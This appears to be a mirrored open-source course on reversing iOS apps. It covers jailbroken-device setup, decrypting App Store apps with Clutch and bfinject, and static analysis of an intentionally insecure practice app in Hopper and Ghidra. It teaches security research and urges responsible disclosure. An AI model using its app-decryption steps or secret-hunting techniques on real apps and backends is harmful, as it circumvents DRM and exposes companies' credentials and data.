mirror of
https://github.com/ivRodriguezCA/RE-iOS-Apps
synced 2026-01-08 10:02:48 +00:00
Initial commit
This commit is contained in:
15
Final-Thoughts.md
Normal file
15
Final-Thoughts.md
Normal file
@@ -0,0 +1,15 @@
|
||||
### Final Thoughts
|
||||
|
||||
Thank you so much for following along and finishing my course. As you can see, this is one of the topics that I literally love and feel very passionate about. This is why I've spent a lot of time doing research and trying to learn new things, about new tools and most of all new vulnerabilities.
|
||||
|
||||
I really hope you enjoyed and learned even just a little about reversing iOS applications. Even if all you learned was how to properly pronounce `Cycript`, I'd still be very happy.
|
||||
|
||||
On a more serious note, I honestly hope this course inspired you to start your own research, to get involved with the community and teach us something new and exciting that we don't know about! And if you find vulnerabilities, please do the responsible thing and report them to the author(s). Remember there are companies with public bug bounty programs on [HackerOne](https://www.hackerone.com/), [Bugcrowd](https://www.bugcrowd.com/) and [Synack](https://www.synack.com/) if you're doing a good job and show potential they add you to private programs. 😉
|
||||
|
||||
Please, please let me know if there are mistakes, typos or if any of the information throughout the course is inaccurate 🙏🏼 remember that English is my second language, if there are sentences that can be improved also let me know.
|
||||
|
||||
Since this is an open source course, there might be people that use it to provide a course on their own or take ideas from here to their own courses. That is **exactly** the idea behind me open sourcing it, just please mention me if you do use the material. 😬
|
||||
|
||||
And lastly, pay it forward. If you can share your research, your knowledge or your time please do it!
|
||||
|
||||
-- Ivan R.
|
||||
21
Introduction.md
Normal file
21
Introduction.md
Normal file
@@ -0,0 +1,21 @@
|
||||
### Introduction
|
||||
|
||||
My interest in application security started when the company I was working for had a contract to build a new app with exclusive features protected behind a login screen and someone downloaded this app from the App Store, reverse engineered it and published a list of its features, including screenshots and text that our entire engineering team thought were protected by the login screen. I had to know _how_ they did that.
|
||||
|
||||
At this point in my career I had been working on iOS development for over 6 years, this helped me enter the application security field with an fairly robust understanding of the inner-workings of iOS apps, it was _"just"_ a matter of learning how to protect my applications. But to learn how to protect them, I had to learn how to break them first!
|
||||
|
||||
This course is my way of sharing with the community everything I've learned in the past few years of me doing this research full-time. It's intended to help new security enthusiasts explore the exciting world of reversing iOS apps and hopefully help iOS developers create better and more secure applications.
|
||||
|
||||
#### What WON'T be covered in this course
|
||||
|
||||
- How to jailbreak your device.
|
||||
- iOS (the operating system) exploitation.
|
||||
- Tweak development for jailbroken devices.
|
||||
- Mobile backend API hacking.
|
||||
- In-depth understanding of ARM assembly.
|
||||
|
||||
Just wanted to set the right expectations, this course is basically for everyone that's new to iOS application security and ARM binary reversing.
|
||||
|
||||
If you're still interested, join me in learning how to reverse iOS applications!
|
||||
|
||||
_Note: Don't worry if you don't have a jailbroken device, you'll only need it for [Module 2](Module-2/Module-2.md). You can skip this module an come back to it once you get your hands on a jailbroken device._
|
||||
90
Module-1/README.md
Normal file
90
Module-1/README.md
Normal file
@@ -0,0 +1,90 @@
|
||||
### Module 1 - Environment Setup
|
||||
|
||||
In this module you'll learn how to setup your device(s) with all the tools you'll need to decrypt apps, transfer them to your computer and perform static and dynamic analysis on them. I'm assuming you already have a jailbroken device. If you don't have a device, you can skip to module 3.
|
||||
|
||||
_Note: If you need help jailbreaking your device, there are many resources online. One of my favourite sites is [iDownloadblog](https://www.idownloadblog.com/jailbreak/)._
|
||||
|
||||
#### On your computer
|
||||
|
||||
- Download the latest version of [iTunnel](https://code.google.com/archive/p/iphonetunnel-usbmuxconnectbyport/downloads): iTunnel will allow you to [SSH over USB](https://iphonedevwiki.net/index.php/SSH_Over_USB).
|
||||
- Download the latest version of [Clutch](https://github.com/KJCracks/Clutch/releases): Clutch will allow you to decrypt iOS applications on iOS < 10.0.
|
||||
- Download the latest version of [Cydia Impactor](http://www.cydiaimpactor.com/): Impactor will allow you install iOS applications on your device, signed with a developer account's certificate.
|
||||
- Download and install [Hopper](https://www.hopperapp.com/): Hopper is a reverse engineering tool that lets you disassemble, decompile and debug ARM applications, it supports other architectures but in this course I'll focus just on ARM-based binaries. The trial version is enough.
|
||||
- Download the latest version of [bfinject's](https://github.com/BishopFox/bfinject) `bfinject.tar`: bfinject will allow you to use `Cycript` and `Clutch` on iOS >= 11.0.
|
||||
- Download the latest version of [Cycript](http://www.cycript.org/): Cycript will allow you to modify the applications' behaviour at runtime via an interactive console.
|
||||
- Download the latest version of [Frida](https://www.frida.re/docs/ios/): Frida will allow you to write scripts to change the applications' behaviour at runtime.
|
||||
- To install `Frida`:
|
||||
```shell
|
||||
sudo pip install frida-tools
|
||||
```
|
||||
- Download the latest version of [Bettercap](https://www.bettercap.org/installation/): Bettercap will allow you to perform MitM attacks remotely to a device.
|
||||
- Download the latest version of [class-dump-z](https://code.google.com/archive/p/networkpx/downloads): class-dump-z will allow you to dump Objc classes. There's a Swift version but you won't needed since my vulnerable app is written in Objc.
|
||||
- Download the latest version of [Ghidra](https://ghidra-sre.org/): Ghidra is another reverse engineering tool, which will let you do some of the same tasks as Hopper.
|
||||
|
||||
#### On your device with iOS version < 11.0
|
||||
|
||||
- Open [Cydia](https://cydia.saurik.com/) and search `cycript` and install it.
|
||||
- Open Cydia and search `Apple File Conduit "2"` and install it.
|
||||
- Open Cydia and search `frida` and install it:
|
||||
- Tap the `Sources` tab.
|
||||
- Add a source: `https://build.frida.re`
|
||||
- Now you can go to the `Search` tab and search for `frida`.
|
||||
|
||||
#### (Optional) On your device with iOS version < 11.0
|
||||
In some cases a jailbreak tool for iOS < 11.0 might not come with a SSH client, you might have to [install it yourself](https://ivrodriguez.com/installing-dropbear-ssh-on-ios-10-3-3/). To test if your device already has a working SSH:
|
||||
- Connect your device to your computer.
|
||||
- On your computer, open a terminal window and run `iTunnel` with the following parameters:
|
||||
```bash
|
||||
itnl --lport 2222 --iport 22
|
||||
```
|
||||
- `lport`: Stands for `Local port` and it's the port iTunnel will be locally listening. This can be any port you want.
|
||||
- `iport`: Stands for `iPhone port` and it's the port iTunnel will use to forward all the packets sent to `lport`. This has to be `22`, since that's the `SSH` default port.
|
||||
- On a different terminal window SSH into your device:
|
||||
```bash
|
||||
ssh -p 2222 root@localhost
|
||||
```
|
||||
- `p`: Stands for `port`, this is the port iTunnel is listening on.
|
||||
|
||||
If your device asks for a `root` password then it _already_ has SSH working, thus you can skip this step.
|
||||
|
||||
#### On your device with iOS version >= 11.0
|
||||
|
||||
- Connect your device to your computer.
|
||||
- On your computer, open a terminal window and run `iTunnel` with the following parameters:
|
||||
```bash
|
||||
itnl --lport 2222 --iport 22
|
||||
```
|
||||
- `lport`: Stands for `Local port` and it's the port iTunnel will be locally listening. This can be any port you want.
|
||||
- `iport`: Stands for `iPhone port` and it's the port iTunnel will use to forward all the packets sent to `lport`. This has to be `22`, since that's the `SSH` default port.
|
||||
- On a different terminal window SSH into your device:
|
||||
```bash
|
||||
ssh -p 2222 root@localhost
|
||||
```
|
||||
- `p`: Stands for `port`, this is the port iTunnel is listening on.
|
||||
- Your device will ask you for the `root` password. The default password is `alpine`, but I'd advice you [to change it](https://cydia.saurik.com/password.html).
|
||||
- Create a `jb` folder on your root directory:
|
||||
- _Note: If you use [LiberiOS](http://newosxbook.com/liberios/) there's already a `/jb` folder, just change directories._
|
||||
```bash
|
||||
cd / && mkdir jb
|
||||
```
|
||||
- Create a `bfinject` folder inside `/jb` and change directories:
|
||||
```bash
|
||||
mkdir /jb/bfinject && cd /jb/bfinject
|
||||
```
|
||||
- In a different terminal window, copy the `bfinject.tar` archive to the device:
|
||||
```bash
|
||||
scp -P 2222 ~/Downloads/bfinject.tar root@localhost:/jb/bfinject
|
||||
```
|
||||
- `P`: Stands for `port` and it should be the same port iTunnel is listening on. _Note: This is a capital `P`_.
|
||||
- Your device will ask you for the `root` password.
|
||||
- Extract the .tar file contents:
|
||||
```bash
|
||||
tar xvf bfinject.tar
|
||||
```
|
||||
|
||||
### Conclusions
|
||||
|
||||
- Now you should have a device ready to start reversing. Gladly you'll need to perform all these steps only once per device, even when you lose your jailbreak state if your device runs out of batter or restarts for whatever reason[^1]. Don't worry if you don't know some of these tools, in the following modules I'll explain what's their purpose and how to use them.
|
||||
|
||||
|
||||
[^1] On tether and semi-tether jailbreaks, every time you restart your device you'll need to re-jailbreak it because the jailbreak exploit is not persisted after reboot.
|
||||
124
Module-2/README.md
Normal file
124
Module-2/README.md
Normal file
@@ -0,0 +1,124 @@
|
||||
### Module 2 - Decrypting iOS Applications
|
||||
|
||||
After setting up your device (and computer), you're ready to start downloading applications from the App Store and decrypting them. As a security researcher this is the first step you'll have to perform to start any analysis. This is because iOS encrypts every application downloaded from the App Store using their DRM technology called [FairPlay](https://en.wikipedia.org/wiki/FairPlay).
|
||||
|
||||
Since a system that can perform operations on encrypted binaries doesn't exist yet[^1], iOS has to decrypt the application first in order for the OS to run the actual executable and Clutch leverages that in order to "decrypt" the application. In a few words, what Clutch is doing is "asking" the OS to load the application to memory to run it, then dumping the _decrypted_ version of the application from memory and writing it to disk.
|
||||
|
||||
_Note: In case you missed it, you'll only need a jailbroken device for this module and the last part of the [Module 4](../Module-4/README.md). For the next modules I'll provide the decrypted version of the iOS application._
|
||||
|
||||
#### If your device's iOS version < 11.0
|
||||
- Download any application from the App Store.
|
||||
- Run `iTunnel` to forward your SSH traffic via USB:
|
||||
```bash
|
||||
itnl --lport 2222 --iport 22
|
||||
```
|
||||
- SSH into your device:
|
||||
```bash
|
||||
ssh -p 2222 root@localhost
|
||||
```
|
||||
- Use Clutch to list the installed applications on your device:
|
||||
```bash
|
||||
Clutch -i
|
||||
```
|
||||
- Use Clutch to decrypt the application you just downloaded by passing its index:
|
||||
```bash
|
||||
Clutch -d 1
|
||||
```
|
||||
- Wait for Clutch to finish, then in the output you'll see Clutch saved the decrypted application in `/private/var/mobile/Documents/Dumped`.
|
||||
- On your computer, on a different terminal window, copy the dumped application to your machine:
|
||||
```bash
|
||||
scp -P 2222 root@localhost:/private/var/mobile/Documents/Dumped/<app-name>.ipa ~/Desktop/
|
||||
```
|
||||
- Now you have a decrypted version of the app.
|
||||
|
||||
#### If your device's iOS version >= 11.0
|
||||
- Download any application from the App Store.
|
||||
- Run `iTunnel` to forward your SSH traffic via USB:
|
||||
```bash
|
||||
itnl --lport 2222 --iport 22
|
||||
```
|
||||
- SSH into your device:
|
||||
```bash
|
||||
ssh -p 2222 root@localhost
|
||||
```
|
||||
- If you're using a LiberiOS jailbreak, enable the binpack:
|
||||
```bash
|
||||
export PATH=$PATH:/jb/usr/bin:/jb/bin:/jb/sbin:/jb/usr/sbin:/jb/usr/local/bin:/sbin:/usr/sbin:/usr/local/bin:
|
||||
```
|
||||
- Change directories to `/jb/bfinject`
|
||||
```bash
|
||||
cd /jb/bfinject
|
||||
```
|
||||
- Open the application on your phone by tapping on its icon in [Springboard](https://en.wikipedia.org/wiki/SpringBoard). _Note: This step is important, in order for `bfinject` to be able to decrypt applications, they have to be running in the foreground._
|
||||
- Use bfinject to decrypt the application:
|
||||
```bash
|
||||
bash bfinject -P <app-name> -L decrypt
|
||||
```
|
||||
- Wait for bfinject to finish, then in the output you'll see bfinject saved the decrypted version in the application's `Documents` folder.
|
||||
- On your computer, on a different terminal window, copy the dumped application to your machine:
|
||||
```bash
|
||||
scp -P 2222 root@localhost:/private/var/mobile/Containers/Bundle/Application/{app-uuid}/Documents/decrypted-app.ipa ~/Desktop/
|
||||
```
|
||||
- Now you have a decrypted version of the app.
|
||||
|
||||
#### Extra information
|
||||
|
||||
To keep the step-by-step instructions as clean and straightforward as possible, I omitted some details in some steps. Here's some information that hopefully will clarify any doubts you may have:
|
||||
|
||||
**What `<app-name>` should I use with bfinject?**
|
||||
- This is the name of the application folder. In some cases this name might be different from what's shown on your device's springBoard (the text beneath the app's icon).
|
||||
- To find the correct name for your application:
|
||||
- Change directories to the Applications folder, all the user-installed applications are stored here:
|
||||
```bash
|
||||
cd /private/var/containers/Bundle/Application
|
||||
```
|
||||
- iOS assigns a random UUID to each app when installed from the App Store. Thus you'll need to search for your application on each of the random UUID folders. (_Note: this is why I asked you to download an application instead of using your already installed apps_) But here's a trick I've been using for a while, list the files/folders within this directory and sort them by date:
|
||||
```bash
|
||||
ls -lat
|
||||
```
|
||||
- Your recently downloaded application should be the very first one. If it's not, you'll have to go one by one until you find yours.
|
||||
- The `<app-name>` string you'll use with bfinject is the name of the folder inside the random UUID.
|
||||
|
||||
**bfinject throws the `Unknown jailbreak. Aborting.` error, what now?**
|
||||
- bfinject was created for 2 very specific jailbreak setups, [Electra](https://coolstar.org/electra/) and [LiberiOS](http://newosxbook.com/liberios/). To identify an Electra jailbreak it checks if `/bootstrap/inject_criticald` exists and for LiberiOS it checks if `/jb/usr/local/bin/jtool` exists. The problem is that if you move some files around or your jailbreak doesn't have those files in those locations the script won't work. There is no one-answer-fits-all here. But the good news is that it's super easy to fix, all you need to do is add your setup to the `bfinject` script in [here](https://github.com/BishopFox/bfinject/blob/master/bfinject#L133-L149). At the time of the writing this is how the `bfinject` script check looks like:
|
||||
```bash
|
||||
#
|
||||
# Detect LiberiOS vs Electra
|
||||
#
|
||||
if [ -f /bootstrap/inject_criticald ]; then
|
||||
# This is Electra
|
||||
echo "[+] Electra detected."
|
||||
cp jtool.liberios /bootstrap/usr/local/bin/
|
||||
chmod +x /bootstrap/usr/local/bin/jtool.liberios
|
||||
JTOOL=/bootstrap/usr/local/bin/jtool.liberios
|
||||
cp bfinject4realz /bootstrap/usr/local/bin/
|
||||
INJECTOR=/bootstrap/usr/local/bin/bfinject4realz
|
||||
elif [ -f /jb/usr/local/bin/jtool ]; then
|
||||
# This is LiberiOS
|
||||
echo "[+] Liberios detected"
|
||||
JTOOL=jtool
|
||||
INJECTOR=`pwd`/bfinject4realz
|
||||
else
|
||||
echo "[!] Unknown jailbreak. Aborting."
|
||||
exit 1
|
||||
fi
|
||||
```
|
||||
|
||||
**The application name has a whitespace and SCP won't copy it, what gives?**
|
||||
- To copy files with whitespaces in SCP you'll need to add three (3) backslashes:
|
||||
```bash
|
||||
scp -P 2222 root@localhost:/private/var/mobile/Documents/Dumped/app\\\ with\\\ space.ipa ~/Desktop/
|
||||
```
|
||||
|
||||
**SCP is not working on my device on iOS < 11.0, do you even?**
|
||||
- This is why we installed `Apple File Conduit 2` (AFC2), download [iExplorer](https://macroplant.com/iexplorer) or [iFunBox](http://www.i-funbox.com/) and transfer the decrypted app to your computer by navigating to the `/private/var/mobile/Documents/Dumped/` folder and drag-n-drop'ing the .ipa onto your computer.
|
||||
|
||||
[^1] There is a type of encryption called [`Homomorphic encryption`](https://en.wikipedia.org/wiki/Homomorphic_encryption) that aims to create a scheme where a system can perform operations on ciphertexts (encrypted data) and return results without reviling anything from the plaintext (raw binary).
|
||||
|
||||
### Bonus
|
||||
|
||||
If you see all these steps and you think "_a lot of these can be automated, no?_", you're absolutely right! I wrote a python script that automates all these steps, from starting iTunnel to copying the decrypted application to your computer and open sourced it under the MIT license so you can use it and modify it to fit your own needs. You can find this script [here](https://github.com/ivRodriguezCA/decrypt-ios-apps-script).
|
||||
|
||||
### Conclusions
|
||||
|
||||
- As you can see, _decrypting_ iOS applications is a fairly easy task. As long as you have a jailbroken device and the authors of Clutch and bfinject keep updating their tools, you'll be able to quickly decrypt iOS applications, and since both tools are open source you can help the community by contributing to those projects. The more difficult and exciting steps are to come when we get to decompile the binary, browse through the application bundle and analyze its embedded files.
|
||||
166
Module-3/README.md
Normal file
166
Module-3/README.md
Normal file
@@ -0,0 +1,166 @@
|
||||
### Module 3 - Static Analysis
|
||||
|
||||
So far you've learned how to configure your computer and device with the necessary tools to decrypt iOS apps and copy them to your computer. In this module you'll learn how to analyze an iOS application by inspecting all its files, frameworks (dependencies) and lastly the application binary. It's called `static analysis` because you're not going to execute the binary, you'll be reviewing all the files contained in the `.ipa` archive. This is intended to be an interactive module, meaning I'll point you in the _hopefully_ right direction and you are going to find the issues yourself. But don't worry, if you feel lost or cannot find any issues, all the solutions are at the end of the module (along with explanations on _why they are considered issues_ and some _recommended solutions_).
|
||||
|
||||
After you decrypt an iOS application you'll end up with a `.ipa` file. This is an application archive, basically a zip archive. It includes the application binary, 3rd-party frameworks, configuration files, media files (like images and videos), UI elements (like [storyboards](https://developer.apple.com/library/archive/documentation/ToolsLanguages/Conceptual/Xcode_Overview/DesigningwithStoryboards.html) and [nibs](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/LoadingResources/CocoaNibs/CocoaNibs.html)), custom fonts and any other file the developers embed within the application.
|
||||
|
||||
To illustrate the most common vulnerabilities in iOS applications I've created a very insecure application called `CoinZa`[^1], I wrote it in `Objective-C` (aka Objc) to make it simpler to explain some reversing steps. Applications written in `Swift` still prove a bit difficult for some tools, though I plan to add support to some modules for `Swift` applications in the future. For now you can download the Objc version form [here](https://github.com/ivRodriguezCA/RE-iOS-Apps-Extras-Github/tree/master/Files).
|
||||
|
||||
#### Extracting the application files
|
||||
- Extracting the `.ipa` contents is as simple as changing its extension to `.zip` and unzipping it.
|
||||
```bash
|
||||
mv CoinZa.ipa CoinZa.zip
|
||||
unzip CoinZa.zip
|
||||
```
|
||||
- After unzipping the contents you'll have a folder named `Payload` and inside you'll find the application bundle named `CoinZa.app`. _Note: On an application downloaded from the App Store you'll find 2 more files along with the `Payload` folder, a `iTunesArtwork` file which is the app icon and a `iTunesMetadata.plist` file that contains information like the developer's name and ID, the bundle identifier, copyrights, the name of the application, your email and the date you purchased it, among other information._
|
||||
- Right-click (or Control ⌃ + Left-click) the `CoinZa.app` and select `Show Package Contents`.
|
||||
- Finally, move all the files within the `.app` bundle to a new folder. This is to have an easier access to them, instead of right-clicking it and selecting `Show Package Contents` all the time.
|
||||
```bash
|
||||
mkdir CoinZaFiles
|
||||
mv CoinZa.app/* CoinZaFiles/
|
||||
```
|
||||
|
||||
#### Analyzing embedded files
|
||||
Your end goal is to understand as much as possible what the developers are shipping with every application. It's a good idea to start by looking for _low-hanging fruit_ kind of issues. In iOS reversing these come as configuration files, example data files, database connection files or embedded private keys for SSH connections. Yes, as I've said before, I've seen all of these cases in real applications.
|
||||
- The two most common configuration files I've encountered in iOS applications are `.plist` and `.json`. Start your research by reading through all the files you can find with these extensions and see if you can find some information that **should not be there**.
|
||||
- A very important file is the `Info.plist` in the root directory of an iOS application. This file contains a lot of configuration data like if the application _enables_ week TLS settings on some domains (search for the `NSAppTransportSecurity` key), or if the application accepts custom [`Scheme URLs`](https://developer.apple.com/documentation/uikit/core_app/allowing_apps_and_websites_to_link_to_your_content/defining_a_custom_url_scheme_for_your_app) (search for the `CFBundleURLTypes` key).
|
||||
|
||||
#### Analyzing 3rd party frameworks
|
||||
Almost every single iOS application uses at least one 3rd party framework. As a security researcher this is very important because this increases the attack surface and more often than not the developers forget to update their dependencies and the bigger the list of dependencies, the harder it is to keep track of updated versions. This means that as long as an application "still works" there's no incentive to update these 3rd party frameworks. This leaves users with outdated, and potentially vulnerable, code on their devices. All the 3rd party framework within an iOS bundle live in a folder called `Frameworks`.
|
||||
- Open the `Frameworks` folder, take a look at which frameworks `CoinZa` is using and pay attention to the frameworks' versions.
|
||||
- **Tip 1:** The framework's version is disclosed in its `info.plist` file.
|
||||
- **Tip 2:** Google those framework versions and search for known vulnerabilities.
|
||||
|
||||
#### Dumping the application classes
|
||||
An essential part of the static analysis of any application is to gather information about what methods and classes are contained in the application. This step gives you very important information because, as many developers know, declaring very descriptive methods help the development of good products. Thus the names of some of the methods will give an insight of what the application features are. I'll show you how to use `class-dump-z` to dump the application's classes and methods. There's not going to be an exercise for this section, but you can then spend some time reading through the output and taking notes on interesting classes or methods.
|
||||
- Dumping the classes is extremely easy with `class-dump-z`, navigate to the folder where you extracted the `CoinZa.app` files and run `class-dump-z` with the binary name as its first parameter and save the ouput on a `dump.txt` file:
|
||||
```bash
|
||||
cd ~/Downloads/Payload/CoinZaFiles
|
||||
class-dump-z CoinZa > dump.txt
|
||||
```
|
||||
- If you open the `dump.txt` file, you have now all the classes, methods and some instance variable names of the application binary. As you can see there are some interesting classes like `Wallet`, `KeyPair`, `AddFundsViewController`, `CreateWalletViewController`. Even without installing the application we can see that this _probably_ is a cryptocurrency application.
|
||||
- Finally, if you run `class-dump-z` with no parameters it will show you all the options it has for dumping classes.
|
||||
|
||||
#### Disassembling and decompiling the binary - Hopper
|
||||
After the initial reconnaissance work, you've reached (IMO) the most exciting part of this module, understanding the actual behaviour of the application methods. After searching through the classes and methods in the `class-dump-z` output, you could see that this application is very small; but most of the applications are significantly bigger and have far more classes and methods. Because of this, it's important that you can prioritize your work and focus on the more interesting cases.
|
||||
- To disassemble and decompile the binary open Hopper and drag-n-drop the CoinZa binary in Hopper's active window. _Note: You'll see that this binary is a [`FAT` binary](https://en.wikipedia.org/wiki/Fat_binary), which means that it contains code for more than one architecture. In this case it contains code for the `ARMv7` and `ARM64` architectures because this application targets a minimum version of iOS 10 and the minimum supported devices on iOS 10 are the iPhone 5, iPod Touch 6th Gen and iPad 4th Gen, which are `ARMv7` devices._
|
||||
|
||||

|
||||
- Hopper will ask you which architecture you want to disassemble. You can choose which ever you want though I'd recommend the `ARMv7` since it has a smaller and simpler instruction set but Hopper has some trouble disassembling some parts of the application on `ARMv7` and to explain better I'll be using the `ARM64` disassembled code.
|
||||
- After selecting the architecture, it will ask you to set some options for the [Mach-o file](https://en.wikipedia.org/wiki/Mach-O). The defaults should suffice.
|
||||
- Hopper will then begin to disassemble the binary. It shouldn't take too long since, again, this is a small app. But I've had some instances where it took about 45min to finish, and this was on a MacPro 6-core Xeon with 64GB RAM.
|
||||
- Once Hopper finishes disassembling, select the `Procedures` tab on the left panel and you'll be able to see the list of method names that hopper was able to find.
|
||||
|
||||

|
||||
- If you select the `Str` tab (next to the `Procedures` one) as you probably guessed is the list of all the String-looking or printable characters within the binary. This is another favourite of mine since you can start searching for words like `secret`, `private`, `test` or `debug` and trace their usage. More often than not, developers leave test classes that provide a good insight. Sometimes there are even developer modes that we can enable to get extra functionality out of the application.
|
||||
- To trace the usage of a string:
|
||||
- Search for a string, for example search for `isProVersion`.
|
||||
- On the main window, select the string and right-click on it.
|
||||
- On the menu select `References to aIsproversion`.
|
||||
- Hopper will take you to a the `cfstring` section, which is where the c-string literals are listed.
|
||||
- Select the `cfstring_isProVersion` and right-click on it and select `References to cfstring_isProVersion`.
|
||||
- Hopper will now show you a window with a list of methods. As you probably guessed, this is the list of methods that use the `isProVersion` string.
|
||||
- Select the first instance of `[AddFundsViewController viewDidAppear:]` and click Go.
|
||||
- On the main window you'll now see the assembly code of the `viewDidAppear` method of the `AddFundsViewController` class. If this is a bit confusing for you, Hopper has also a decompiler function.
|
||||
- In the middle of the top options bar select the `Pseudo-code Mode` tab (the one with the `if(b)` text).
|
||||
|
||||

|
||||
- You'll be able to see that the string `isProVersion` is actually a key of an object stored in the [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) shared settings. I'll explain more on this in a bit.
|
||||
- With the string search exercise you found evidence of features potentially guarded by a `ProVersion` state. You also saw in the previous exercise that you can load the `pseudo-code` of a method.
|
||||
- To analyze a method with its `pseudo-code`: _Note: use the `ARM64` disassembly for this exercise._
|
||||
- Click on the `Procedures` tab and search for `WalletDetailViewController` and select the `didUpdateWalletBalance:` method.
|
||||
- Uncheck the `Remove potentially dead code` checkbox. Sometimes Hopper tries to optimize the decompiled code or just gets it wrong and the `pseudo-code` has some missing information. I usually uncheck this checkbox in case that happened.
|
||||
- I want to bring your attention to this section of the `pseudo-code`:
|
||||
```c
|
||||
r2 = @"isProVersion";
|
||||
if (objc_msgSend(r0, @selector(boolForKey:)) != 0x0) {
|
||||
r8 = 0x1001f0000;
|
||||
r2 = @"isProVersion";
|
||||
r1 = @selector(stringWithFormat:);
|
||||
var_60 = d8 * 0x1001ad2e0;
|
||||
r2 = @"Since you are a pro user we added an extra 20%% and it's on us!\nYour balance will actually increase by US$%f.";
|
||||
r0 = objc_msgSend(@class(NSString), r1);
|
||||
r29 = r29;
|
||||
} else {
|
||||
r8 = 0x1001f0000;
|
||||
r2 = @"isProVersion";
|
||||
var_60 = d8;
|
||||
r2 = @"Funds purchased successfully, your balance will increase by US$ %f.";
|
||||
r0 = objc_msgSend(@class(NSString), @selector(stringWithFormat:));
|
||||
r29 = r29;
|
||||
}
|
||||
```
|
||||
- What you can see is that enabling the `ProVersion` state will be beneficial to an attacker since it will grant them an extra 20% of _something_. You don't know what that _something_ is yet, but looks like you should take a note about this finding. 😉 Specially since it looks like the check is done on the client side.
|
||||
- I'll leave it to you to keep digging around and take notes of interesting methods and classes. Analyze as many classes and methods as you can because they will help on the next module.
|
||||
- **Tip 1:** Ignore all classes with the `FIR` prefix, they are part of the Firebase framework and are outside of the scope of this analysis.
|
||||
- **Tip 2:** If you are using the trial version of `Hopper` take into account that it will self-close every 30min.
|
||||
|
||||
#### Disassembling and decompiling the binary - Ghidra
|
||||
On March 5th, 2019 the [NSA released](https://ghidra-sre.org/) a free and open source reversing tool called [`Ghidra`](https://en.wikipedia.org/wiki/Ghidra). `Ghidra` supports Windows, Linux and macOS. Even though it's a very new tool and I haven't been using it as long as Hopper, I wanted to add it to the course so that we all could learn from it. _Note: Like I said, I haven't used `Ghidra` much so please bear with me while I show you how to use it._
|
||||
- You can launch Ghidra by running the `ghidraRun` bash script at the root of the `ghidra_9.0.1/` directory. _Note: `Ghidra` requires the Java JDK, if you don't have it on your machine you can download it from [here](https://www.oracle.com/technetwork/java/javase/downloads/jdk11-downloads-5066655.html)._
|
||||
```bash
|
||||
./ghidraRun
|
||||
```
|
||||
- If this is the first time you're running `Ghidra` you'll have to create a project. Click on `File` and then `New Project...` (or `⌘ + N`).
|
||||
- Choose if you want a `Shared` or `Non-Shared` project. `Shared` project can be accessed by other users.
|
||||
- Select a directory to save your project and give it a name.
|
||||
- Drag-n-drop the `CoinZa` binary into `Ghidra`.
|
||||
- `Ghidra` will display a dialog saying that the file contains nested files.This is the same as Hopper telling you that it was a `FAT` binary and you need to choose an architecture. Select the `Batch` option.
|
||||
- You'll be presented with a window showing you the two architectures in the binary. `AARCH64:LE:64:v8A` is `ARM64` and `ARM:LE:32:v8` is `ARMv7`. You can keep both selected, but since they are the same I'd suggest to just keep one selected.
|
||||
- `Ghidra` will show a toast saying the file was _imported_. Super fast eh? Not so fast, _imported_ doesn't mean disassembled.
|
||||
- Expand your project folder and the `CoinZa` folder and you'll see a file called either `ARM-32-cpu0x9` or `AARCH64-64-cpu0x0` depending on the file you previously selected.
|
||||
- Drag-n-drop the `ARM-32-cpu0x9`/`AARCH64-64-cpu0x0` file on top of the `CodeBrowser` button (the one with the dragon icon).
|
||||
- `Ghidra` will tell you that the file hasn't been analyzed and if you want to do it. Click `Yes`.
|
||||
- Leave the default selected Analyzers selected and click `Analyze`. _Note: To be honest I haven't played around too much with `Ghidra` to know the different analyzers, that's why I suggested to leave the defaults._
|
||||
- In my computer `Ghidra` took significantly longer than `Hopper`.
|
||||
- On the `Symbol Tree` window (on the far left) select `Classes` and scroll down to `Wallet` and select the `WalletDetailViewController` class.
|
||||
- Within the `WalletDetailViewController` functions search, again, for `didUpdateWalletBalance`.
|
||||
- On the `Decompiler` window (on right side of the split windows) you'll see the decompiled code of the method. _Note: If you don't see the `Decompiler` window press `⌘ + E`._
|
||||
```c
|
||||
_objc_msgSend(&OBJC_CLASS__NSUserDefaults,"standardUserDefaults");
|
||||
uVar2 = objc_retainAutoreleasedReturnValue();
|
||||
iVar1 = objc_msgSend(uVar2,"boolForKey:",&cf_isProVersion);
|
||||
if (iVar1 == 0) {
|
||||
_objc_msgSend(&OBJC_CLASS__NSString,"stringWithFormat:",
|
||||
&cf_Fundspurchasedsuccessfully,yourbalancewillincreasebyUS$%f.);
|
||||
} else {
|
||||
_objc_msgSend(&OBJC_CLASS__NSString,"stringWithFormat:",
|
||||
&
|
||||
cf_Sinceyouareaprouserweaddedanextra20%%andit'sonus!YourbalancewillactuallyincreasebyUS$%f.
|
||||
);
|
||||
}
|
||||
```
|
||||
- As you can see this looks very similar to what `Hopper` showed on its `pseudo-code` mode.
|
||||
- A huge advantage is that `Ghidra` is free!
|
||||
|
||||

|
||||
|
||||
#### Conclusions
|
||||
- A static analysis on an iOS application can take you as little or as long as you want. You can go as deep as you can. Specially because the same techniques used to inspect the main application binary can be used to reverse engineer the 3rd party frameworks' binaries. I personally spend many days, and sometimes even many weeks, performing static analysis on iOS applications. _Note: The first mobile bug I was ever rewarded for on [HackerOne](https://hackerone.com) was a week encryption vulnerability, specifically an insecure encryption key generation, basically I was able to predict past and future encryption keys. This was possible because I spent a lot of time understanding their key generation algorithm and was finally able to understand its behaviour without even running the application, all via static analysis._
|
||||
- Many developers don't realize that any file they embed in their application will be very easy to extract and analyze.
|
||||
- As researchers is very good idea to check the 3rd party frameworks bundled with the application.
|
||||
- Gather as much information as you can on this step because you'll use it in the dynamic analysis step.
|
||||
|
||||
#### Solutions
|
||||
- `coinza-c7e97-firebase-adminsdk-ok3f8-df3457e3e8.json`: This is a configuration file for a [Firebase](https://firebase.google.com/) project and it **includes a private key** that the developers were using to connect with the Firebase backend services.
|
||||
- **The problem:** Sometimes developers don't realize that any file they embed with the app will be _easily_ extracted by anyone. In this case this configuration file gives attackers all the information they need to impersonate a legitimate access to the company's Firebase backend services and data.
|
||||
- **Recommended fix:** This configuration file is supposed to be stored in a backend server, not in a client application. What the developers need to do is to add an authentication flow in the client side and that lets the app authenticate with their own backend server and then have that backend server connect to Firebase.
|
||||
- _Note: I found a similar configuration file on a popular VPN application and when I reported it to the company they replied saying their Firebase project was not being used anymore and that's why they didn't feel the need to remove the configuration file, I did **not** use the private key to connect to their Firebase backend and verify if it was valid._
|
||||
|
||||

|
||||
|
||||
